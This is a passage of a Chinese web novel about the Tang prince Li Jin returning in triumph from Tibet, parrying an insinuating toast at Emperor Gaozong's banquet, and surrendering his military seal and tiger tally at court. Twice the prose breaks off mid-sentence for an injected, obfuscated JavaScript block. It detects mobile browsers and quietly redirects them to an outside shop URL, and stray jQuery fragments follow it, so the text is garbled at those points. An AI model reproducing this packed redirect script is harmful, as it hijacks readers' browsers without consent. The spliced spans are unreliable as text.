民间更是自发地涌动起难以抑制的热情。李瑾的名字,连同那些被传得神乎其神的战绩——什么“一炮轰塌逻些城墙”、“千里镜洞察敌情”、“雪夜奇袭擒赞普”、“圣山刻石慑群胡”——早已是家喻户晓,成为茶楼酒肆最受欢迎的话题。百姓们不懂复杂的朝堂权衡,他们只知道,这位年轻的郡王带着大唐的儿郎,打垮了为祸西陲数十年的吐蕃,打通了能带来无数奇珍异宝和商税好处的丝绸之路,让“天可汗”的威名响彻西域。这就足够了。足够他们将李瑾视为卫青、霍去病那样的英雄来崇拜,足够他们扶老携幼,涌上街头,只为一睹王师风采,看一眼那位传说中的少年郡王。
这一日,天公作美,碧空如洗。自清晨起,自明德门至皇城,朱雀大街两侧已是人山人海,水泄不通。坊墙之上,屋顶之上,甚至道旁大树的枝桠上,都爬满了翘首以盼的人群。小贩的叫卖声、孩童的嬉闹声、人们兴奋的议论声,汇成一片喧嚣的海洋。维持秩序的金吾卫士卒不得不手挽着手,结成厚实的人墙,才勉强将汹涌的人潮挡在街道两侧,留出足够大军通行的宽阔御道。
“来了!来了!”接近午时,明德门方向,忽然传来山呼海啸般的欢呼,随即,嘹亮的号角声穿透喧嚣,远远传来。人群顿时更加激动,纷纷踮起脚尖,伸长脖颈,向城门方向望去。
首先映入眼帘的,是迎风招展、猎猎作响的军旗。最前方是代表天子亲征的六纛和节钺(虽李瑾并非天子,但代天巡狩,可持此仪仗),其后是李瑾的帅旗——“李”字大纛和“镇西郡王”的旌旗,再后面是神策军、安西军、陇右军等各军的旗帜,以及薛仁贵、王方翼等主要将领的将旗。旗帜在春风中舒卷,如同翻滚的彩云,带着边关的风沙和血与火的气息。
旗帜之后,是军容严整的骑兵前导。清一色的玄甲骑兵,人和马都披着擦得锃亮的黑色甲叶,在阳光下反射着冷冽的寒光。骑士们挺直脊背,手持长槊,槊尖斜指天空,随着战马的行进,起伏如林,带着一股沉默而凛然的杀气。这是百战余生的精锐,他们的目光平静而锐利,扫过两侧欢呼的人群时,并无多少波动,只有历经生死后的沉稳。百姓们被这肃杀之气所慑,欢呼声都为之一静,随即爆发出更热烈的声浪。
骑兵之后,是步兵方阵。步卒们同样盔甲鲜明,刀枪如雪,踏着整齐划一、沉重有力的步伐,“哗!哗!哗!”地行进,每一步都仿佛踏在人们的心坎上,震得地面微微发颤。他们的脸上带着高原阳光留下的古铜色,许多人的盔甲上还能看到刀劈斧凿的痕迹,无声地诉说着那场远征的残酷与辉煌。
紧接着,是此行的“战利品”展示环节。被俘的吐蕃贵族、将领,垂头丧气地坐在无篷的马车上,双手被缚,身上穿着吐蕃贵族的服饰,却满是尘土,神情萎靡。他们后面,是长长一队装载着缴获物品的大车:象征吐蕃赞普权威的黄金王冠、镶嵌宝石的权杖、华丽的帐篷、巨大的牦牛尾旌旗、成箱的吐蕃文书典籍、金银器皿、珠宝玉石、珍稀的吐蕃马匹和高原特产药材……琳琅满目,在阳光下熠熠生辉,引来围观百姓一阵阵惊叹。
“看!那就是吐蕃的王子吧?真狼狈!”
“那金冠!得值多少钱啊!”
“吐蕃的牦牛旗!听说以前可威风了,现在成了咱的战利品!”
“李大总管真是厉害,把吐蕃的老窝都抄了!”
议论声、赞叹声、欢呼声,此起彼伏。帝国的子民,此刻尽情享受着作为征服者和胜利者的荣耀与自豪。
战利品车队之后,气氛陡然一变。沉重而悲怆的鼓点响起,一队神情肃穆、身着素袍的士卒,护卫着数百个覆盖着大唐军旗的沉重木匣,缓缓而行。每个木匣前,都立着一块小小的木牌,上面用朱笔写着阵亡将士的姓名、籍贯、军职。这是牺牲在雪域高原的英灵,以另一种方式,回归他们誓死捍卫的长安。喧嚣的人群,在这一刻骤然安静下来,许多人收敛了笑容,眼中泛起泪光,默默地注视着这些沉默的木匣通过。有认出同乡名字的百姓,忍不住低声啜泣起来。胜利的荣耀,从来都浸染着忠烈的鲜血。
在这肃穆的英灵队伍之后,才是此次凯旋的主角,也是整个长安城最期盼见到的身影。
李瑾骑在一匹神骏的白色战马上,缓缓行来。他没有穿戴郡王的繁复朝服,也没有顶盔掼甲,只穿着一身紫色绣金的圆领袍,外罩一件猩红披风,腰悬御赐的玉具剑。数月的高原征战与风霜,并未消磨他多少俊朗,反而为他年轻的面容增添了几分沉稳坚毅的气质,肤色是健康的小麦色,一双眼睛清澈而深邃,平静地望向御道尽头的皇城方向。他身姿挺拔,控马娴熟,在万千目光的聚焦和震耳欲聋的欢呼声中,神色平静,既无骄矜,也无激动,只有一种仿佛与生俱来的从容。
然而,正是这份与年龄不符的从容淡定,与身后那肃杀严整的得胜之师、与那琳琅满目的战利品、与那肃穆归来的英灵木匣,形成了一种极具冲击力的画面。无需多言,所有人都能感受到,这位年轻的郡王身上,所承载的赫赫武功与沉静如海的力量。
“郡王千岁!”
“李大总管!”
“大唐万胜!”
不知是谁先喊了一声,随即,整个朱雀大街彻底被狂热的声浪淹没。百姓们挥舞着手臂,抛洒着花瓣、彩绸,声嘶力竭地呼喊着,表达着他们最质朴的敬仰与感激。许多大姑娘小媳妇,更是挤在人群前面,踮着脚尖,红着脸,将手中的香囊、手帕、鲜花奋力抛向李瑾的马前。若非金吾卫死死拦住,人群几乎要冲破阻拦,涌到御道上来。
李瑾微微侧身,向两侧欢呼的百姓抱拳,以示感谢,动作不疾不徐,风度俨然。他的目光扫过那一张张激动、崇拜、热切的面孔,心中并无多少得意,反而掠过一丝不易察觉的凝重。这如山如海的欢呼,是荣耀,也是压力,更是无数双眼睛的审视。高处,从来不胜寒。
在他身后,是薛仁贵、王方翼、郭待封、黑齿常之等一众将领。薛仁贵银髯飘飘,神色平静中带着感慨;王方翼等则面带激动的红晕,挺胸抬头,享受着这人生巅峰的时刻。再后面,是神策军、安西军、陇右军的各级军官和功勋士卒代表,人人精神抖擞,与有荣焉。
队伍沿着朱雀大街,在百姓的簇拥和欢呼中,缓缓行进了将近一个时辰,终于抵达皇城前的朱雀门广场。这里,早已是旌旗如林,仪仗森严。文武百官,按品级肃立两侧。御道尽头,高大的朱雀门楼之下,设着明黄色的御幄。
当李瑾及主要将领在礼官的引导下,下马步行至御幄前百步,整齐列队时,整个广场瞬间鸦雀无声,只有风吹动旗帜的猎猎声响。
“陛下驾到——!皇后驾到——!”内侍高亢悠长的唱喏声响起。
在百官和万千将士的注视下,大唐天子李治,在皇后武则天的搀扶下,缓缓登上了朱雀门楼。李治今日特意穿戴了最庄重的冕服,但依然难掩脸上的病容和步履的虚浮,需要倚靠武则天的臂膀和身后内侍的暗中搀扶。而武则天,则是一身皇后祎衣,凤冠璀璨,容光焕发,举止端庄而威严,与李治形成了鲜明对比。太子李弘,以及几位年幼的皇子,也都盛装跟随在后。
“臣,李瑾,奉旨西征,赖陛下洪福,皇后明断,将士用命,今已平定吐蕃,抚定西陲,谨率出征将士,献俘阙下,恭复圣命!吾皇万岁,万岁,万万岁!”李瑾声音清越,穿透广场,随即撩起衣袍,推金山倒玉·柱般,向着门楼方向,行三跪九叩大礼。身后,薛仁贵等将领,以及所有凯旋将士,齐刷刷跪倒,甲叶铿锵,山呼万岁,声震云霄。
李治看着下方黑压压跪倒的将士,看着那被押解上前的吐蕃俘虏,看着那些代表胜利的战利品,以及最前方那个英姿勃发、功高盖世的年轻人,心中百感交集。有欣慰,有自豪,有对帝国武功鼎盛的满足,也有一丝难以言喻的复杂。他深吸一口气,在武则天的暗示下,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17014395|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
向前微微倾身,用尽可能洪亮(却仍显中气不足)的声音道:“众卿平身!将士们辛苦了!卿等远征**,破敌擒王,扬我国威,安我边陲,功在社稷,利在千秋!朕心甚慰!朕,与皇后,与天下臣民,为尔等贺!”
“谢陛下!谢皇后!”声浪再起。
接着,便是繁复而庄重的献俘、告捷太庙(象征性)、宣读封赏诏书(对有功将士的集体封赏,李瑾的封王诏书早已单独下达)等仪式。每进行一项,都引来广场上山呼海啸般的“万岁”之声。最后,李治宣布,赐凯旋将士酒食,大酺三日,与民同乐。全城再次陷入沸腾。
当仪式结束,李瑾被单独召上朱雀门楼见驾时,他依旧保持着恭谨的姿态,在距离御座数步之外,再次大礼**。
“爱卿快快请起!”李治在御座上抬手虚扶,脸上带着温和的笑容,“一别年余,爱卿辛苦了。黑了,也瘦了,但更见英武!来,近前说话,让朕好好看看朕的冠军侯、霍骠骑!”
这番比喻,将李瑾比作汉武帝时的少年名将霍去病,亲近中带着极高的赞誉,却也隐隐含着某种难以言说的意味。
李瑾谢恩起身,向前几步,但仍保持着微微躬身的姿态,垂目道:“臣惶恐。微末之功,皆赖陛下天威,皇后筹谋,将士效死,三军用命。臣不过仰承天恩,侥幸成事,岂敢与古之贤将相比。”
“诶,瑾儿过谦了。”武则天微笑着开口,她的目光在李瑾身上细细打量,有欣赏,有关切,更有一种深沉的考量,“你的功劳,陛下与本宫心里清楚,天下人也看得明白。若非你统兵有方,身先士卒,焉能有此大捷?这数月征战,风餐露宿,苦了你了。回府好生将养,陛下与本宫,日后还要多多倚重于你。”
“皇后殿下谬赞,臣愧不敢当。为国效力,分所应当。”李瑾的回答依旧滴水不漏,恭敬而谦逊。
李治看着眼前这对君臣相得、又隐隐透着某种默契的男女,心中那丝复杂情绪更深,但面上笑容不减,对左右道:“赐座。今日朕心甚喜,当与郡王、诸将,共饮庆功酒!”
内侍搬来锦凳,李瑾谢恩后,只坐了半边。接下来,便是皇帝、皇后对李瑾及随后被召上来的薛仁贵等主要将领的慰劳、问询,多是关于征战细节、高原风物、吐蕃内情等。李瑾言语简洁,重点突出皇帝、皇后的决策和将士的功劳,对自己多有淡化。薛仁贵等老成持重,也知分寸,应答得体。
一场表面和乐融融、充满赞誉与感恩的觐见之后,李瑾才在百官的注目礼和无数百姓依旧未散的欢呼声中,骑马返回了早已为他准备好的、位于崇仁坊的豪华郡王府。这座府邸原是一位获罪亲王的宅邸,被朝廷收回后,重新修葺赏赐给了他,规制远超普通国公府,仅次于亲王,彰显着无与伦比的恩宠。
王府门前,早已是车马簇拥,前来道贺的文武官员络绎不绝。李瑾并未摆出凯旋功臣的架子,反而更显谦和,亲自在府门迎送,无论来者官阶高低,皆礼数周全,言必称“托陛下、皇后洪福”、“赖将士用命”、“瑾愧不敢当”,应对得滴水不漏。直到深夜,才将最后一波客人送走。
回到灯火通明的正堂,挥退所有下人,只留下最亲信的两名从西域带回来的老兵守卫在门外,李瑾才卸下脸上维持了一整天的、温和而恭谨的面具,露出了一丝疲惫,以及眼底深处那抹挥之不去的深思。
长安,我回来了。他望着窗外长安城不夜的灯火,心中默念。这里没有逻些的寒风与经幡,没有战场上的金戈铁马,却有更加微妙复杂的暗流,更加无形的刀光剑影。今日朱雀大街的山呼海啸,朱雀门楼上的温言慰勉,百官同僚的热情恭贺……这一切的荣光与喧嚣,如同一个华丽而脆弱的琉璃罩,将他高高供起。而他深知,在这琉璃罩之下,是无尽的审视、猜忌、攀附与算计。
功高震主。这四个字,如同一道冰冷的符咒,悬在他的头顶,也悬在这座煊赫的新赐郡王府的上空。接下来的每一步,都需如履薄冰。凯旋的荣耀已经达到顶峰,而真正的考验,或许才刚刚开始。
他缓缓展开一份早已准备好的奏章,标题赫然是《请辞镇西郡王爵位及让还安西陇右军务疏》。墨迹早已干透,但每一个字,都重若千钧。明天,这份奏章,将和他的另一项重大建议,一同呈递到御前。那将是他在长安这个新战场上的,第一次落子。
第172章 帝慰劳师宴
凯旋献俘的盛大仪式之后,长安城又迎来了另一场官方层面的高潮——皇帝于麟德殿设宴,犒劳西征凯旋的主要将领及有功将士代表。麟德殿乃大明宫中规模宏大的宴会宫殿,常用于招待外宾、举办国宴。此次“慰劳宴”,规格极高,不仅是庆功,更是皇帝向天下展示恩遇功臣、君臣一体的姿态。
宴会定在献俘礼后的第三日黄昏。是日,自午后起,获邀赴宴的文武官员、功勋将士便陆续盛装抵达丹凤门外。文官着各色朝服,武官着锦绣戎装,凯旋的将领们则被特别准许穿着皇帝新赐的麒麟、虎豹纹样的锦袍,以示恩宠。众人按品级、功勋序列,在礼官的引导下,鱼贯进入巍峨的麟德殿。
殿内早已布置得富丽堂皇,灯火通明。数百盏巨大的宫灯、枝形烛台将大殿映照得如同白昼。御座高踞北面玉阶之上,其下分东西两列,设紫檀雕花长案,铺着猩红锦缎。每张案几后设锦垫,案上已陈设好鎏金银器、玉盘牙箸,以及时令鲜果、精致点心。乐工、舞姬、宫娥、内侍,皆屏息静气,垂手侍立,气氛庄重而喜庆。
李瑾的位置,被安排在御座左下手第一位,与右下手第一位的宰相李勣相对,其显赫尊崇,不言而喻。薛仁贵、王方翼、郭待封、黑齿常之等主要将领,依次坐在他下首。对面,则是许敬宗、上官仪等宰相及六部尚书。再往后,才是其他文武官员及有功的中下级军官代表。这种座次安排,清晰地向所有人传递着李瑾此刻在朝中如日中天的地位。
天色渐暗,华灯初上。随着首席内侍高延福一声悠长的“陛下驾到——皇后殿下驾到——”,殿内瞬间肃静,所有赴宴者齐刷刷起身,垂手恭立。
只见皇帝李治,在皇后武则天和太子李弘一左一右的搀扶下,缓步从后殿走出。李治今日换了一身赭黄色的常服,头戴软脚幞头,脸上敷了薄粉,以掩盖病容,但行走间仍能看出步履虚浮,需借力于身旁二人。武则天则是一身绛红色蹙金绣凤大袖礼衣,头戴九树花钗冠,妆容精致,气度华贵从容。太子李弘年已渐长,身着储君冠服,举止谨严,眉目间依稀有几分其母的英气,也带着些许与其年龄不符的沉静。
帝后太子在御座上坐定,众人方在礼官唱引下,行三拜九叩大礼,山呼万岁千岁。
“众卿平身,入席。”李治的声音通过内侍的传唱,清晰地传遍大殿,虽仍显中气不足,但比前几日在朱雀门上已好了些,显然是精心休养、又服了提神药物的结果。
“谢陛下!”众人再拜,然后才各自归座。甲胄在身的将领们,动作间难免带出些金铁摩擦之声,在这静谧而宏大的殿宇中,平添了几分英武之气。
宴会正式开始。先是内侍省尚食局奉上御酒,由皇帝亲赐三巡。李治在武则天的低声提醒下,举杯祝酒,无非是“将士劳苦功高”、“社稷之福”、“同享太平”之类的套话,但由皇帝亲口说出,并由内侍高声传诵,自有其不可替代的隆重意味。众人皆起身,高举酒杯,齐声应和,然后一饮而尽。美酒入喉,殿内的气氛也稍稍活络了些。
接着,便是珍馐佳肴如流水般呈上。驼蹄羹、猩唇炙、鲤尾酥、凤凰胎、羊皮花丝、逡巡酱……无数光听名字就令人咋舌的宫廷御膳,被训练有素的宫娥们轻盈而有序地摆放到各人案前。乐工奏起舒缓庄重的雅乐,身着霓裳的舞姬翩跹入场,长袖曼舞,仙姿缥缈。
按照惯例,皇帝会象征性地向主要功臣赐食、赐酒。李治的目光,自然首先落到了左下首第一位的李瑾身上。
“镇西郡王,”李治脸上带着和煦的笑容,声音也比刚才高了一些,“此番西征,**跋涉,雪域苦寒,卿与将士们餐风宿露,浴血奋战,实是辛苦。来,朕亲赐你一杯酒,愿卿日后,再为朕,为大唐,擎天保驾,再立新功!”说着,示意身边内侍,将一杯御酒端到李瑾案前。
李瑾立刻离席,走到御阶之下,恭恭敬敬地行了一礼,然后双手接过金杯,高举过眉,朗声道:“臣李瑾,谢陛下隆恩!陛下天威浩荡,皇后殿下运筹帷幄,三军将士用命,方有微功。臣,唯有鞠躬尽瘁,死而后已,以报陛下、皇后殿下知遇之恩于万一!”说罢,将杯中酒一饮而尽,姿态恭谨至极。
“好!好!”李治笑着点头,目光在李瑾年轻而恭顺的脸上停留片刻,那笑容深处,却有一丝难以察觉的复杂。眼前的年轻人,功高盖世,声望如日中天,手握重兵(虽已下诏回朝,但他在军中的影响力岂是朝夕可去?),又深得皇后信重……他越是表现得恭顺谦卑,李治心中那根弦,反而绷得越紧。这杯酒,是恩赏,是慰劳,也未尝不是一种试探,一种无形的提醒。
赐完李瑾,李治又依次赐酒给薛仁贵、王方翼等主要将领,言辞勉励,态度亲切。薛仁贵等皆感激涕零,誓言效忠。武则天亦不时含笑插言,对将领们的家眷问候有加,展现皇后母仪天下的关怀,其言语得体,姿态从容,与李治的勉励相辅相成,将“帝后一体,恩泽臣下”的姿态做得十足。
酒过三巡,菜过五味,殿内的气氛更加热烈。将领们开始互相敬酒,文臣们也向功臣们道贺,觥筹交错,笑语喧哗。立功的将士们,在酒精和荣耀的双重作用下,难免有些放浪形骸,高声谈论着征战时的惊险与趣事,引来阵阵惊叹或哄笑。李治斜靠在御座上,脸上始终带着笑容,看着下方热闹的场景,偶尔与身旁的武则天低声说些什么。只是他握着酒杯的手指,有时会不自觉地收紧,目光掠过李瑾时,那份隐藏在笑容下的审视,始终未曾完全消散。
李瑾敏锐地察觉到了那道目光。他坐在最显赫的位置,接受着无数或敬仰、或羡慕、或探究、或嫉恨的目光洗礼。他保持着得体的微笑,对每一位前来敬酒的同僚都谦和以对,无论对方是真心祝贺,还是别有用心。他饮酒极有分寸,浅尝辄止,言谈举止,无不恪守臣子本分,对皇帝、皇后的恩遇再三感激,对同僚的夸赞连连谦辞。仿佛他只是一个侥幸立功的普通将领,而非那个手握重兵、位极人臣的镇西郡王。
酒酣耳热之际,乐舞也变得更加欢快。教坊司排演了新编的《定吐蕃破阵乐》,舞者们手持干戈,模拟征战场面,动作矫健,气势雄浑,引来阵阵喝彩。接着,又有龟兹、疏勒等地进献的胡旋女郎上场,跳起热情奔放的胡旋舞,彩裙飞旋,环佩叮当,将宴会的气氛推向高潮。
然而,就在这看似一片和乐、君臣尽欢的时刻,一个小小的插曲发生了。
一位来自陇西李氏偏支、素以“直言敢谏”闻名的宗室子弟,名叫李崇义的,许是酒意上头,又或许是心中对李瑾的骤贵有些不平,端着酒杯,摇摇晃晃地走到李瑾席前,大着舌头道:“郡……郡王殿下!下官……敬你一杯!殿下年少英武,立此不世之功,封王拜相,光耀门楣,实乃我李氏宗亲之楷模!只是……”他打了个酒嗝,声音不自觉地提高了些,“只是下官有一事不明,还望郡王殿下解惑。”
殿内的喧哗声顿时小了些,许多目光投了过来。御座上的李治,也微微眯起了眼睛。武则天脸上的笑容不变,但握着酒杯的手指,几不可察地动了一下。
李瑾神色平静,放下酒杯,温言道:“李御史(李崇义身兼监察御史)有何见教,但说无妨。”
“见教不敢当。”李崇义晃了晃脑袋,“下官只是听说,郡王殿下在吐蕃圣山刻石纪功,金文璀璨,永镇西陲。此举,可比昔日窦宪燕然勒石,耿恭疏勒拜井啊!功业彪炳,必将名垂青史!只是……下官愚钝,想起那窦宪后来……呵呵,不免有些感慨。不知郡王殿下,对此有何看法?”
此言一出,殿内瞬间安静下来,连乐舞都仿佛停滞了片刻。窦宪虽有大破北匈奴、勒石燕然的盖世之功,但其后却因骄横跋扈,图谋不轨,被汉和帝赐死。李崇义在此刻提及窦宪,其用心可谓险恶,虽以“感慨”为名,实则暗讽李瑾功高震主,暗示其可能有窦宪之祸。这已近乎当面的挑衅和诅咒了。
无数道目光瞬间聚焦在李瑾身上,有担忧,有审视,有幸灾乐祸。薛仁贵眉头紧皱,手已按在案几边缘。许敬宗脸色一沉,正要出言呵斥。连御座上的李治,身体也微微前倾,想看李瑾如何应对。
李
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17014396|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
瑾的脸上,却没有丝毫怒意,甚至连惊讶都欠奉。他缓缓起身,对李崇义拱手一礼,声音清晰而平和,足以让附近的人都听清:“李御史**通今,令人佩服。窦车骑(窦宪曾任车骑将军)确有破匈之功,勒石燕然,名垂史册。然其后来行差踏错,身死族灭,实乃咎由自取,令人扼腕。此正为后世为将、为臣者戒:功高,不可擅权;位尊,不可骄横。雷霆雨露,俱是君恩。为人臣子,唯有恪守臣节,忠心体国,方能善始克终。瑾不才,蒙陛下、皇后不弃,委以重任,侥幸微功,常怀惕厉,唯恐有负圣恩,岂敢有丝毫非分之想?今日陛下设宴慰劳,乃是褒奖三军将士报国之忠,非瑾一人之功。李御史此言,实令瑾惶恐,亦恐寒了浴血将士之心。”
他这番话,不卑不亢,既承认了窦宪之功与过,又巧妙地将话题引到“为人臣子”的本分上,表明自己绝无骄矜之心,更将功劳归于皇帝、皇后和将士,最后还轻轻点了一句“寒了将士之心”,暗示李崇义此言不仅针对他个人,更是对全体功臣的不敬。
李崇义被这一番有理有据、绵里藏针的话噎得满脸通红,酒也醒了大半,支支吾吾不知该如何接话。殿内气氛一时有些凝滞。
“好了。”就在这时,武则天清越的声音响起,打破了沉寂。她脸上带着一贯的雍容微笑,目光扫过李崇义,带着一丝不易察觉的冷意,“李御史醉了。窦宪是窦宪,郡王是郡王,岂可相提并论?陛下与本宫,深知郡王忠谨,将士用命。今日庆功宴,只谈风月,不论其他。来人,李御史醉了,扶他下去歇息吧。”
两名内侍立刻上前,不由分说,“搀扶”着面如土色的李崇义离开了大殿。一场小小的风波,被武则天轻描淡写地化解。但殿中许多人心中,却因此泛起了涟漪。李瑾的应对,滴水不漏,谦恭得体,更显其沉稳老练。而皇后的维护之意,也表露无遗。
李治也适时开口,笑着举杯:“皇后说的是,今日只谈庆贺,不论其他。来,众卿,再满饮此杯,愿我大唐,国泰民安,四海升平!”
“愿大唐国泰民安,四海升平!”众人齐声应和,再次举杯,仿佛刚才的不愉快从未发生。乐声再起,舞袖重扬,宴会的气氛似乎重新热烈起来。
但经此一事,李治看向李瑾的目光,更深沉了几分。而李瑾,在微笑举杯的间隙,垂下眼帘,掩去了眸中一闪而过的锐利光芒。这繁华似锦、烈火烹油的庆功宴,处处笙歌,觥筹交错,但在那明亮的宫灯照不到的角落,无形的暗流,已然开始涌动。这杯御酒,喝下去,是甘醇,还是灼喉,或许只有饮者自己,才能真正品味。
宴会持续到深夜方散。李瑾谢绝了同僚们去他新府邸继续饮宴的邀请,以“车马劳顿,圣体欠安,需早些回府歇息,以备明日陛见”为由,恭敬地送别众人,然后登上了返回崇仁坊郡王府的马车。
车厢内,只余他一人。窗外,长安的夜景流光溢彩,庆祝“大酺”的百姓尚未尽散,远处依稀还有丝竹与欢笑传来。李瑾靠在柔软的车厢壁上,闭上眼,脸上那维持了整晚的、恰到好处的恭谨笑容,缓缓褪去,只剩下深深的疲惫,以及一丝冰冷的了然。
“窦宪……”他心中默念着这个名字。今夜李崇义的“醉话”,绝不会是偶然。是有人借酒试探,还是某些势力按捺不住的蠢动?无论是哪种,都提醒着他,此刻的他,正站在风口浪尖。皇帝的慰劳宴,是荣耀,是恩宠,更是一个巨大的、无形的舞台,所有人都在这舞台上表演,而舞台之下,是深不见底的漩涡。
他轻轻掀开车帘一角,望向巍峨皇城的方向,那里灯火阑珊。李治那复杂难言的目光,武则天那看似温和实则锐利的维护,群臣那各怀心思的敬酒与恭维……一幕幕在他脑海中闪过。
“是时候,走出下一步了。”他低声自语,放下了车帘。马车在寂静的街道上辘辘而行,驶向那座煊赫而孤独的郡王府。明日,那封早已备好的《请辞镇西郡王爵位及让还安西陇右军务疏》,就将呈递御前。主动退一步,或许才能在这权力的棋盘上,赢得更大的空间。
第173章 瑾上交兵符
麟德殿夜宴的喧嚣与暗流,随着晨光的降临,似乎暂时沉淀下去。长安城在连续数日的狂欢后,也渐渐恢复了平日的秩序。然而,在帝国权力中心的大明宫,真正的角力与表态,才刚刚开始。
翌日清晨,大朝会。
这是李瑾凯旋后,第一次正式参加朔望大朝。当他身着郡王朝服,腰悬金鱼袋,随着引班太监的唱喏,踏进含元殿那空旷宏伟、庄严肃穆的殿堂时,立刻成为了全场绝对的焦点。
数百名朱紫高官,分列丹墀两侧,所有人的目光,或明或暗,都聚焦在这位年仅二十余岁、却已位极人臣、功盖当世的年轻人身上。羡慕、敬佩、嫉妒、审视、好奇、畏惧……种种复杂情绪,隐藏在低垂的眼帘或端正的朝冠之下。李瑾能清晰地感受到那无数道目光的重量,但他步履沉稳,目不斜视,径直走到文官班列最前方,那个仅次于侍中、中书令等宰相的位置——那是皇帝特旨,为“同中书门下三品”、享受宰相待遇的镇西郡王预留的。
“镇西郡王觐见——”内侍的高唱在殿中回荡。
李瑾在御阶之下,端肃衣冠,一丝不苟地行三跪九叩大礼:“臣,镇西郡王、同中书门下三品李瑾,叩见陛下,陛下万岁,万岁,万万岁!叩见皇后殿下,千岁,千岁,千千岁!”
御座上,李治今日的气色似乎比前几日好些,但仍需倚着御座的扶手。他微微抬手,声音透过殿宇传来:“爱卿平身。赐座。”
“谢陛下!”李瑾再拜,然后才在御阶旁特设的锦墩上,虚坐了半边。这个位置,距离御座不过数丈,能清晰看到皇帝略显苍白的面容,以及旁边珠帘后武则天模糊而端庄的身影。
朝会按部就班地进行。先是宰相奏报重要政务,六部堂官陈事,御史言官风闻奏事。内容多与西征善后、吐蕃安置、西域诸国遣使朝贡、以及因大赦和犒赏带来的国库支出等相关。李瑾只是安静地听着,偶尔在涉及安西、陇右具体事务时,被皇帝或宰相询问,才言简意赅地补充几句,态度恭谨,言语审慎。
当日常政务奏对接近尾声,殿中气氛稍稍松弛时,一直沉默的李瑾,忽然从锦墩上起身,再次走到御阶中央,撩袍跪倒。
这个举动,让殿内微微一静。所有人的目光,再次聚焦在他身上。
“臣,李瑾,有本启奏。”李瑾的声音清晰而平静,在空旷的大殿中回荡。
“爱卿有何事,但奏无妨。”李治目光微凝,身体不自觉地微微前倾。珠帘后的武则天,似乎也稍稍坐直了身体。
“臣,惶恐。”李瑾伏地,额头触地,声音带着一种恰到好处的沉重与恳切,“臣本微末,蒙陛下、皇后殿下不弃,拔于行伍,委以重任,付以西征之托。赖陛下天威,皇后庙算,将士用命,祖宗庇佑,幸不辱命,微有寸功。陛下、皇后隆恩浩荡,不次超擢,封以王爵,授以显官,赏赐逾制,恩遇无双。臣每思之,诚惶诚恐,夜不能寐。”
他顿了顿,抬起头,目光澄澈地望向御座:“臣闻,为人臣者,当明进退,知止足。昔日光武帝云:‘愿陛下无忘在莒,臣亦无忘河北之难。’臣之功,焉敢与古之贤臣相比?然,臣之初心,唯在报国。今吐蕃已平,西陲暂安,臣之使命,已然完成。臣所佩‘安西大都护’、‘持节都督陇右诸军事’之印信、旌节,乃陛下付臣以专阃之权,统御一方。今战事既息,臣自当奉还节钺,上交兵符,以彰陛下威柄独运,以明臣子恪守本分之心。”
说罢,他再次深深叩首,然后双手高举过头,掌心托着一枚以锦缎包裹的方形物件。内侍高延福立刻趋步上前,小心翼翼地接过,转身疾步送到御前。
李治示意,高延福当众展开锦缎,里面赫然是两样东西:一方黄金铸造、龟钮的“安西大都护”官印,以及半枚黝黑沉重、雕刻着猛虎纹样的青铜虎符。虎符的另一半,在皇帝手中。合符方能调兵,此乃调兵信物。同时上交印信与虎符,意味着李瑾将安西地区的军政大权,以及皇帝临时授予的、可以调动陇右道部分兵马的“持节”之权,一并交还。
殿内瞬间响起一片极力压抑但仍可听闻的吸气声。无数道目光死死盯住那方金印和半枚虎符,又迅速转向跪伏在地的李瑾,充满了难以置信的震惊、不解、钦佩,以及更深沉的思量。
主动交还兵权!而且是如此彻底,如此干脆,在功成名就、声望如日中天、刚刚获得无上封赏之后,第一时间,在庄重的朝会上,当众上交!这需要何等的清醒,何等的魄力,又是何等明白无误的**表态!
“狡兔死,走狗烹;飞鸟尽,良弓藏。”这几乎是功臣与帝王之间心照不宣的宿命。大多数功臣,即便知道这个道理,也往往难以割舍手中的权柄,或心存侥幸,或自恃功高,最终导致悲剧。如李瑾这般,不等皇帝开口,不等猜忌加深,主动、彻底、光明正大地交出最核心的兵权,简直可以说是违背了“常理”。
御座上,李治的瞳孔微微收缩,脸上的表情瞬间变得极为复杂。有意外,有意料之中的释然,有松了一口气的轻松,但随即,又有一丝更深的疑虑和审视掠过心头。交得如此干脆,是真心实意,还是以退为进?是洞悉了帝王心术的明智,还是另有图谋?
珠帘后,武则天的嘴角,几不可察地向上弯起一个极细微的弧度。这个年轻人,果然没有让她失望。在权力面前,懂得舍弃,远比贪婪攫取更需要智慧,也更能赢得信任——或者说,是更长时间的信任。
短暂的寂静后,李治清了清嗓子,声音带着一丝不易察觉的波动:“爱卿……何须如此?卿为国家立下不世之功,朕与皇后,信卿重卿,一如腹心。安西、陇右之事,正需卿这等干才镇抚,何必急于……”
